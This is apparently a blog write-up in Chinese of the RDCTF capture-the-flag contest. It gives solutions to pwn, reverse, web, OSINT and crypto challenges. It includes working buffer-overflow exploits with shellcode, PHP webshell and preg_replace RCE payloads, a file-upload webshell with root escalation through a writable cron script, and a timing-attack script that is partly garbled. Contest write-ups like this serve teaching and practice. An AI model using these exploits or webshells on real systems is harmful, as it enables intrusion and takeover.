RDCTF – WriteUp

vstral 最后更新于 4 天前 5 次阅读 预计阅读时间: 17 分钟


比赛地址:http://ctf.wdsec.com.cn:7788/

比赛时间:2025年1月10日上午10点00分 - 2025年1月25日晚上6点00分

一、PWN

无痛Pwn之路

nc连接
Pasted image 20250125181339.png

直接用pwntools发送即可

Pasted image 20250125182041.png

from pwn import *

io = remote('ctf.wdsec.com.cn', 33421)

context.log_level = 'debug'

  

io.sendline(b'\x01\x02\x03\x04')

io.interactive()

ret2text

Pasted image 20250125182319.png

Pasted image 20250125182328.png

可以看到存在栈溢出漏洞,经过长期的探索下居然发现有隐藏的后门。。。

Pasted image 20250125182514.png

from pwn import *

  

#io = process('./ret2text')

io = remote('ctf.wdsec.com.cn',33010)

elf = ELF('./ret2text')

context(os = 'linux',arch = 'amd64',log_level = 'debug')

#gdb.attach(io)

  

payload = b'a'*0x28  + p64(0x4011B8)

  

io.sendlineafter(b'input:\n',payload)

  

io.interactive()

"注意这里有一个栈对齐"

ret2text_plus

Pasted image 20250125182803.png

Pasted image 20250125182843.png

main函数初始化后就直接进入了这个函数,发现存在溢出但是溢出空间只有0xA,而且这里有一个很细节的坑,我调试了好久都没发现,就是i的值在覆盖栈上变量空间时候容易被忽略导致i的值被错误覆盖从而导致错误,注意通过调试来找准对齐修改i的值。

栈空间:
Pasted image 20250125183201.png

EXP:

from pwn import *

io = process('./ret2text_plus')

#io = remote('ctf.wdsec.com.cn',33173)

elf = ELF('./ret2text_plus')

context.log_level = 'debug'

gdb.attach(io,'b*0x401AF5\nc')

  

payload  = b'A'*40+p32(2)+p32(0x30)

payload += p32(0x401231)

#0x40116A

payload += p64(0x4011AA)

  

io.sendafter(b'please input:\n', payload)

io.interactive()

ret2libc

Pasted image 20250125183504.png

Pasted image 20250125183518.png

buf距离栈底部rbp的距离为0x20,但是read的写入只有46,相当于只有14字节溢出

Pasted image 20250125183822.png

发现另外一个函数有更大的溢出:
利用ROP劫持程序运行到这个函数:

p.send(b'a'*0x28+b'\xe7\x12\x40\x00\x00\x00')

然后就是进行正常的ret2libc

from pwn import *

from LibcSearcher import *

  

#io = process('./ret2libc')

p = remote('ctf.wdsec.com.cn',33077)

  

e=ELF('./ret2libc')

  

context(arch='amd64', os='linux',log_level='debug')

  

#gdb.attach(p)

  
  

p.recvuntil(b"please input:\n")

p.send(b'a'*0x28+b'\xe7\x12\x40\x00\x00\x00')

  

p.recvuntil(b"now, try to get the libc!!!\n")

p.send(b'a'*0x28+p64(0x4012cc)+p64(e.got['puts'])+p64(e.plt['puts'])+p64(0x4012e7))

  

puts_got_addr=u64(p.recv(6).ljust(8,b'\x00'))

print("puts_got_addr:",hex(puts_got_addr))

  
  

p.recvuntil(b"now, try to get the libc!!!\n")

p.send(b'a'*0x28+p64(0x4012cc)+p64(e.got['write'])+p64(e.plt['puts'])+p64(0x4012e7))

write_got_addr=u64(p.recv(6).ljust(8,b'\x00'))

print("write_got_addr:",hex(write_got_addr))

libc = LibcSearcher('puts',puts_got_addr)

libc.add_condition('write',write_got_addr)

libcbase = puts_got_addr  -libc.dump('puts')

  

system_addr=libcbase + libc.dump('system')

bin_sh=libcbase + libc.dump('str_bin_sh')

p.recvuntil(b"now, try to get the libc!!!\n")

p.send(b'a'*0x28+p64(0x4012cc)+p64(bin_sh)+p64(system_addr))

  

p.interactive()


ret2libc_plus

这个题比赛期间没有做出来,后来看官方wp的时候是发送了35遍payload1,有点不清楚是为什么

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
context.arch = 'amd64'
io = process('./ret2libc_Plus')
elf = ELF('./ret2libc_Plus')

pop_rdi = 0x4011d6
puts_got = elf.got['puts']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
vuln = elf.sym['vuln']

payload1 = b'a'*0x28 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
for i in range(35):
    io.sendafter(b':', payload1)
#io.sendlineafter(b':', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
print("libc_base: ", hex(libc_base))

system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
ret = 0x401016

payload2 = b'a'*0x28 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
io.sendafter(b':', payload2)

io.interactive()

ret2shellcode

这个题主要的考点在于短shellcode,直接用pwntools生成的shellcode会超过字节限制,所以只能手写shellcode

from pwn import *

io = process('./ret2shellcode')
context.log_level = 'debug'
context.arch = 'amd64'

io.recvuntil(b'0x')
addr = int(io.recvline(),16)
print("addr = ",hex(addr))

shellcode = asm('''
    xor rsi, rsi
    push rsi
    mov rdi, 0x68732f6e69622f
    push rdi
    push rsp
    pop rdi
    mov al, 59
    cdq
    syscall
''')
payload = shellcode.ljust(0x28,b'\x90') + p64(addr)
io.sendlineafter(b'input:',payload)

io.interactive()

二、Reverse

Happy奶龙

运行程序
Pasted image 20250125184634.png

base64解密然后加上RDCTF{Hell0_This_1s_butt3rf1y_Congratulations_Y0u_g3t_fl4g!}

奶龙大帝

文件名叫pypackage.py,猜测是python打包的exe程序。
用pyinstxtractor解包出来:
Pasted image 20250125184919.png

找到pypakcage.pyc用uncompyle6还原为python文件

Pasted image 20250125185045.png

发现使用了简单凯撒密码进行解密,写出解密脚本:

def caesar_decrypt(ciphertext, shift):

    decrypted_flag = ""

    for char in ciphertext:

        if char.isalpha():  

            base = ord("A") if char.isupper() else ord("a")

            decrypted_char = chr((ord(char) - base - shift) % 26 + base)

            decrypted_flag += decrypted_char

        else:  

            decrypted_flag += char

    return decrypted_flag

  
  

enc = "UGFWI{L_4p_wk3_P1on_Gudj0q_Hpshu0u!}"

shift = 3

  

# 解密加密的flag

decrypted_flag = caesar_decrypt(enc, shift)

print(decrypted_flag)

upx

用upx自动脱壳

Pasted image 20250125185322.png

观察程序逻辑是需要输入了长度为29的字符串,然后经过rc4加密后与flag对比

Pasted image 20250125185423.png

因为rc4是对称加密算法,所以使用调试将加密后的flag patch进去走一遍加密流程即可

Pasted image 20250125134308.png

Pasted image 20250125134250.png

奶龙爱吃贪玩蛇

这个题有点骚啊,看了好久才发现其中的问题

可以看到在update_food函数中
Pasted image 20250125185804.png

第一段flag和第二段flag直接就可以拿到,然后第四段flag就是
Pasted image 20250125185902.png

这里的字符异或了一个4,再将他异或回去就可以

然后第五段flag可以通过游戏输出

Pasted image 20250125190112.png

然后最关键的一个点就在第三段flag:
Pasted image 20250125190206.png

当score=30的时候,程序偷偷修改了一个数据,首先看
Pasted image 20250125190235.png

字符串的位置是140005198

Pasted image 20250125190500.png

然后发现就刚刚好是fl4g!的!的位置

Pasted image 20250125190649.png

解出第三段flag:

#!/usr/bin/env python3

  
  
  
  
def rc4_init(key: bytes) -> list:

    """

    标准 RC4 KSA

    """

    S = list(range(256))

    j = 0

    for i in range(256):

        j = (j + S[i] + key[i % len(key)]) & 0xFF

        S[i], S[j] = S[j], S[i]

    return S

  

def rc4_crypt(data: bytes, key: bytes) -> bytes:

    """

    RC4 加/解密 + 每字节再 XOR 0x66

    (因为原C代码里对正文每字节都 ^ (RC4输出) ^ 0x66)

    """

    S = rc4_init(key)

    i = 0

    j = 0

    out = bytearray(len(data))

    for idx, c in enumerate(data):

        i = (i + 1) & 0xFF

        j = (j + S[i]) & 0xFF

        S[i], S[j] = S[j], S[i]

        # 标准RC4产出的流字节

        K = S[(S[i] + S[j]) & 0xFF]

        # 再加上 xor 0x66

        out[idx] = c ^ K ^ 0x66

    return bytes(out)

  
  

if __name__ == "__main__":

    # 1) 准备好真正的 key

    real_key = b"fl4g?"

    print("Real Key (hex) =", real_key.hex().upper())

  

    # 2) 将题目给出的密文读进来

    hex_cipher = "8D024033492B7324EBB6"

    ciphertext = bytes.fromhex(hex_cipher)

    print("Ciphertext =", ciphertext.hex().upper())

  

    # 3) 解密

    plain = rc4_crypt(ciphertext, real_key)

    print("Plaintext =", plain)

    # 如果它是可见字符,可以再试试 plain.decode('ascii') 看看
    

Plaintext = b'y0u_f1nd_'

将几段flag拼凑起来得出最终flag:

flag{G0o0d_j0b!y0u_f1nd_@ll_th3_p@rt5_of_fl4g?}


## revenge_twice


发现存在花指令:
![Pasted image 20250125191527.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816887-Pasted-image-20250125191527.png)


继续观察程序,发现有一段是在输出flag
![Pasted image 20250125192039.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816891-Pasted-image-20250125192039.png)

可以通过改变程序逻辑使得程序直接跳转到输出flag处

![Pasted image 20250125192809.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816895-Pasted-image-20250125192809.png)



发现这里是跳转到错误的jmp

![Pasted image 20250125192844.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816899-Pasted-image-20250125192844.png)

将他改成跳转到输出flag,并且把后面改为数据

![Pasted image 20250125193019.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816902-Pasted-image-20250125193019.png)



![Pasted image 20250125193801.png](https://www.vstral.cn/wp-content/uploads/2025/01/1737816905-Pasted-image-20250125193801.png)



三、WEB

web也会有签到

查看源代码然后base64解码即可

Pasted image 20250125200701.png

竟然是Warmup?

Pasted image 20250125200752.png

level1:
通过md5同样为0e开头的值即可绕过这种的弱比较

以0e开头的MD5值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514

level2:
利用php非法参数名
Pasted image 20250125201116.png

Nai[Long.body=fat%0a
用0a截断

level3:
因为不能用小写字母和数字
可以参考下面这篇文章:
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户

# -*- coding: utf-8 -*-



def action(arg):

    s1=""

    s2=""

    for i in arg:

        f=open("xor_rce.txt","r")

        while True:

            t=f.readline()

            if t=="":

                break

            if t[0]==i:

                #print(i)

                s1+=t[2:5]

                s2+=t[6:9]

                break

        f.close()

    output="(\""+s1+"\"^\""+s2+"\")"

    return(output)



while True:

    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"

    print(param)

最终payload:

http://ctf.wdsec.com.cn:33084/
?NLhead=s155964671a
&NLhand=s878926199a
&Nai[Long.body=fat%0a
&NLfeet=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%0c%01%07%00%0b%08%0b"^"%60%60%7c%20%2f%60%60%60%60%2e%7b%60%7b");


frank1q22来送礼物了

Pasted image 20250125201821.png

第一个Pen需要post一个链接内容中还要包含franklq22,这里我应该是非预期了,我在自己的网站下建立了一个txt然后pen指向我的连接,然后第二个challenge同样的思路,因为strpos只会比较和后面链接相同的部分而且这里最后也没有加/,所以我又解析了一个子域名🤣和他的前缀一样的
Pasted image 20250125202130.png
Pasted image 20250122145554.png

然后到nlrce.php发现可以执行命令了但是有过滤,不过也可以找到一些替代

Pasted image 20250122170003.png

奶龙的文件上传

发现网页403,我一开始还以为容器没打开还在群里问哈哈哈,还是web题做少了。

用dirsearch扫描了一下发现upload.php

Pasted image 20250125195542.png

Pasted image 20250125195246.png

可以上传图片马,使用yakit抓包上传图片马并且改后缀为php

Pasted image 20250125195734.png

得到shell路径:
Pasted image 20250125195754.png

用蚁剑连接,发现有定时任务会删除文件,而且发现没有权限打开flag,我还以为这里要提权还找了cve来尝试,居然根目录下的fllllag.sh有可写权限而且还是定时任务root执行,
Pasted image 20250125200022.png

于是可以写一个输出fllllag.sh输出flag

Pasted image 20250125200233.png

然后稍作等待

Pasted image 20250125200222.png

wc,是php

Pasted image 20250125222733.png
先试了密码长度,是8,然后拿个脚本爆出密

# 自动化获取密码

def find_password():

 password = ""

 for position in range(password_length):

 max_time = 0

 correct_digit = "0"

 for digit in "0123456789":  # 遍历所有数字

test_time = test_digit(password, position, digit)

 print(f"正在测试: {password + digit},耗时: {test_time:.5f} 秒")

 if test_time > max_time:

 max_time = test_time

 correct_digit = digit

 password += correct_digit  # 确认当前位

print(f"找到的部分密码: {password}")

 return password

 # 开始攻击

if __name__ == "__main__":

 print("开始破解密码...")

 final_password = find_password()

 print(f"破解完成,密码为: {final_password}"

拿到密码,post传参pass=65546169

Pasted image 20250125222825.png

访问一下

Pasted image 20250125222842.png

在这串代码中 preg_replace() 用来执行正则替换, $_GET['a'] 是正则表达式, 的内容, $_GET['c'] 是要被替换的字符串。如果 $_GET['a'] 中包含

_GET['b'] 中的内容作为代码。 构造payload为a=/.*/e&b=system(

_GET['cmd'])&c=dummy&cmd=cat /flag $_GET['b'] 是替换 /e 修饰符,那么PHP

Pasted image 20250125222908.png

得到flag

四、AI

猫粮

Pasted image 20250125203101.png

五、OSINT

图寻1

Pasted image 20250125205910.png

找到大致位置55.755,37.617,然后用地图尝试后得到flag

flag{7555eed6d4f599847ef983e9a982e93d}

图寻2

Pasted image 20250125210548.png

Pasted image 20250125211050.png

google地图找不到
Pasted image 20250125211110.png

Pasted image 20250125211701.png

在附近苦苦寻找了多久好久之后
Pasted image 20250125211941.png

63.813,-18.011

flag{80c7218d9f5e7c332d15bc94c794f9c9}

六、Crypto

Hello_Crypto

直接用脚本解密:

from Crypto.Cipher import AES
from binascii import unhexlify

# 已知密钥和 IV
key = IV = bytes.fromhex("1234567890abcdef1234567890abcdef")

# 加密数据(拼接成完整的密文)
ciphertext = bytes.fromhex(
    "26a8191576aa59308f9ff3469bebbd0c8d27820531130d"
    "fe1a860e1e7b02bd7495f56b3d3d5e9a12c01c4f853693e16c"
)

# 解密
cipher = AES.new(key, AES.MODE_CBC, IV)
plaintext = cipher.decrypt(ciphertext)

# 去除填充
def unpad(s):
    return s[:-s[-1]]

flag = unpad(plaintext).decode()
print(flag)

Pasted image 20250125203526.png

base64解码得:flag{W3lc0m3_T0_TH3_CrypT0_W0rld}

Login

先把key转化为了数字,然后加密:

  • new_index = (原字母索引 + key_nums[pointer]) % 26
  • new_index 再与 pointerXOR,得到最终索引。
from Crypto.Util.number import long_to_bytes

  

alpha1 = 'abcdefghijklmnopqrstuvwxyz'

alpha2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

  

# 已知数据

ciphertext = "byqo{A31k0kl_m0_YODPS}"

fake_key = "76e6f6c69616e6968637f677"  # 提供的十六进制 key(反转)

  

# 还原 key

key = long_to_bytes(int(fake_key[::-1], 16)).decode()

print(f"Recovered key: {key}")

  

# 解密函数

def decrypt(ciphertext, key):

    key_nums = []

    pointer = 0

    ans = ''

  

    for i in key:

        if i in alpha1:

            key_nums.append(alpha1.find(i))

        elif i in alpha2:

            key_nums.append(alpha2.find(i))

  

    for i in ciphertext:

        if i in alpha1:

            new_index = alpha1.find(i) ^ pointer

            original_index = (new_index - key_nums[pointer]) % 26

            ans += alpha1[original_index]

            pointer = (pointer + 1) % len(key_nums)

        elif i in alpha2:

            new_index = alpha2.find(i) ^ pointer

            original_index = (new_index - key_nums[pointer]) % 26

            ans += alpha2[original_index]

            pointer = (pointer + 1) % len(key_nums)

        else:

            ans += i  # 直接复制非字母字符

  

    return ans

  

# 还原 flag

flag = decrypt(ciphertext, key)

print(f"Recovered flag: {flag}")

Pasted image 20250125203738.png

EZ_RSA

伟大的ChatGPT o1秒了

from Crypto.Util.number import *

from math import gcd

  

# 已知公开信息(从题目复制过来即可):

c = 8010415678766495559206888104308220461000137190504006792719473726344733619441141193462632115436953071133591418480457170724671799432518092660776309476406070558451285172355261125033267340649376421801091685798286314106142855053515428470474693625489377898001862186681685082360598622408094264333299738655461877207390809495955984957338296805424644630493393029139944919536399174215810604102444550172759845344395864486440754752041405094877450680140850037755156965823345868285966939695682195399775462308951218301326547363911121730948439732333381005743591960455287452246675824174748812338877227345103716723376979538380032002880

hint = 4954477722794007679259787705071851835680630074373589614154901212439091693825106875479842554606153058190995214347117184687613051142282846871128812252250637326896296788563890362185505010773931888829285558128596857093099418604694919454819343842312843108124919481178288207784060364226550053354580189857537158580943897179549277643338951797705412207045370229744214727707911966864066911560213737637233870360113799892826929003703273846381898853719476623176860704557650283662945755147547068370364286870324024577488484455358602429710219447526127782448349463942117410190437938834954390911495483413355957621606751450577074102729

n = 10784287819385415353621875218563143302159768325704928073867416808040916996479341048063223714643174249461097295535297542385475849470046760369978768211220988313304188367229395180043407712292398872921220233051142848776456790641708863113887722318345601554351621305567539237641096651148337525250970956775311944016141879494664318933091284315673333318969018209756116226492696486038744619977928991239409925382390262035475423869395568601956013364403631988387757474363593218046567386448482628006367012358287524440361632608335934523058793771435203563217660703267386600175482629638068995270497505139491768944189370651947532096313

  

e = 0x10001  # 65537

  

# 第一步:利用 gcd 得到 p

# 计算 2^n mod n

pow_2n_mod_n = pow(2, n, n)  

# 计算 p = gcd(hint - 2^n, n)

p = gcd(hint - pow_2n_mod_n, n)

if p == 1 or p == n:

    # 如果不巧是 1,说明情况特殊(或者我们本来就应该得到的可能是 q)

    # 那就再试一下 gcd(hint + pow_2n_mod_n, n),或者你可以直接交换思路

    p = gcd(hint + pow_2n_mod_n, n)

  

# 得到 q

q = n // p

  

# 第二步:计算私钥 d

phi = (p - 1) * (q - 1)

d = inverse(e, phi)

  

# 第三步:解密得到明文 m

m = pow(c, d, n)

  

# 第四步:将明文转成字符串

flag = long_to_bytes(m)

print(flag)
Pasted image 20250125205512.png

EZ_RSA3

p和q都给了,直接rsa无脑出,但是报错了,提示e和phi不互素,网上搜到个脚本,数据一改还真出了,参考文献:[[https://blog.csdn.net/XiongSiqi_blog/article/details/130296035]]

from Crypto.Util.number import *

import gmpy2

  

p= 111461468683434975170530082386729308107721083330906321058829121868326203430516773024485160400892174495966198556599452146295591878375056413679531156926335281885967735274037488966954241985730655093765767422341322517922766939016379989407145412091848456414574239068924973099845847680344754993017711649519082586907

q= 135059880024258078020929974489544029792994133864551720912636124561116374784209453412300842283879224283596533450952894183516931875969274005736947998604565020290825188410459845975970263881482961767263235648934211129811591747510154846615233845871887644159755687581177174650685690858554979076239705934188310748057

c= 14327804862664623364063959258427178907935384957710441654762368424900120280331345933628360240942622378528249399860274042388166444652264747772626182323631853384104248637306969357143688880736707775656162677920244822555418781064546615832984761008516662819058902729743553993810384792884287893556573015762231261295116313261495782463177386276342992071459495908705548654524926818736963302956262559366847765617107171213693590110396340998799738668493863993908256526309854145408616790448211605902340292953799051938220864866878238498670416409507471485181473643985920194302180643875443988264359015252402590566318567500376646205537

e=20082298101283703288320865436585567770885249

n = 15053972587712326737984981095267960792339756622065073579111188525445868510590330659604223270721184072331493839265159470170355392171799351983071497034810534019098703586813178437220000299237564282685942973829256106470995577875224440900106659050273746948304690979611555091116990178959102554357379384064023182080666700106786150886642818482223897622665849350111428407215080384898306325112756469433773725135674797895617970989257055210731649722015842513058362567716844365541283978060810817157268638267744593919341826683904937473139716860255365258773315735723264469047254466729380062497129772537539992820940452374819883889699

phi = (p-1)

print(gmpy2.gcd(e,phi))

d = gmpy2.invert(e,phi)

m = pow(c,d,p)

print(long_to_bytes(m))
Pasted image 20250125204033.png

此作者没有提供个人介绍
最后更新于 2025-02-01